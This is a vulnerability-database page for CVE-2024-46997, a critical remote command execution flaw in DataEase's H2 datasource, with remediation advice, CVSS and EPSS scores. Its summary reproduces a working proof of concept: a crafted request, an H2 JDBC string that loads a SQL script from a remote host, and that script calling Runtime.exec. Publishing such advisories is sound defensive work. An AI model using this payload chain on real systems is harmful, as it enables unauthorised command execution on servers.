Skip to main content

CVE-2024-46997 — Vulnerability in io.dataease:common — CVE Details

CRITICAL

DataEase's H2 datasource has a remote command execution risk

Published September 23, 2024Updated September 23, 2024Source: OSV

What Should I Do?

Address in Next Maintenance Window

Low exploitation probability (2.21%). Schedule for your next planned update.

Does your project use an affected io.dataease:common version?

Paste your pom.xml to check it for CVE-2024-46997 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.

Check my pom.xml

Summary

Impact

An attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string.

request message:

POST /de2api/datasource/validate HTTP/1.1
Host: dataease.ubuntu20.vm
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-DE-TOKEN: jwt
Content-Length: 209
Content-Type: application/json

{
    "id": "",
    "name": "test",
    "type": "h2",
    "configuration": "eyJqZGJjIjogImpkYmM6aDI6bWVtOnRlc3Q7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lOSVQ9UlVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMC4xNjguMTc0LjE6ODAwMC9wb2Muc3FsJzsifQ=="
}

h2 data source connection string:

// configuration
{
    "jdbc": "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '[http://10.168.174.1:8000/poc.sql'](http://10.168.174.1:8000/poc.sql%27);",
}

the content of poc.sql:

// poc.sql
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('touch /tmp/jdbch2rce')

You can see that the file was created successfully in docker:

/tmp # ls -l jdbch2rce 
-rw-r--r--    1 root     root             0 Sep 16 22:02 jdbch2rce

Affected versions: <= 2.10.0

Patches

The vulnerability has been fixed in v2.10.1.

Workarounds

It is recommended to upgrade the version to v2.10.1.

References

If you have any questions or comments about this advisory:

Open an issue in https://github.com/dataease/dataease Email us at wei@fit2cloud.com

Advisory Timeline

  • First published September 23, 2024 (794 days ago).
  • Last revised September 23, 2024 — 0 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Maven
Update io.dataease:common to 2.10.1 or later
<!-- Update pom.xml dependency version to 2.10.1 for io.dataease:common -->

After upgrading, scan your dependencies again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: Maven (1).

PackageFixed In
io.dataease:common Maven · Affected: All versions2.10.1

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2024-46997?
DataEase's H2 datasource has a remote command execution risk. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2024-46997?
CVE-2024-46997 affects io.dataease:common. It has a 2.2% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2024-46997 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.8

Maximum impact if exploited, often with little effort or access required.

EPSS Score (30-day exploit probability)
2.21%
EPSS percentile: 83.3

This places it in the top quartile of EPSS-scored vulnerabilities — 83.3% of tracked vulnerabilities score at or below it, so it is more likely to be exploited than most of the tracked corpus.

Also Known As

GHSA-h7mj-m72h-qm8w

Related CVEs

Check your own dependencies

Free, with no signup for up to 10 packages.

Check my pom.xml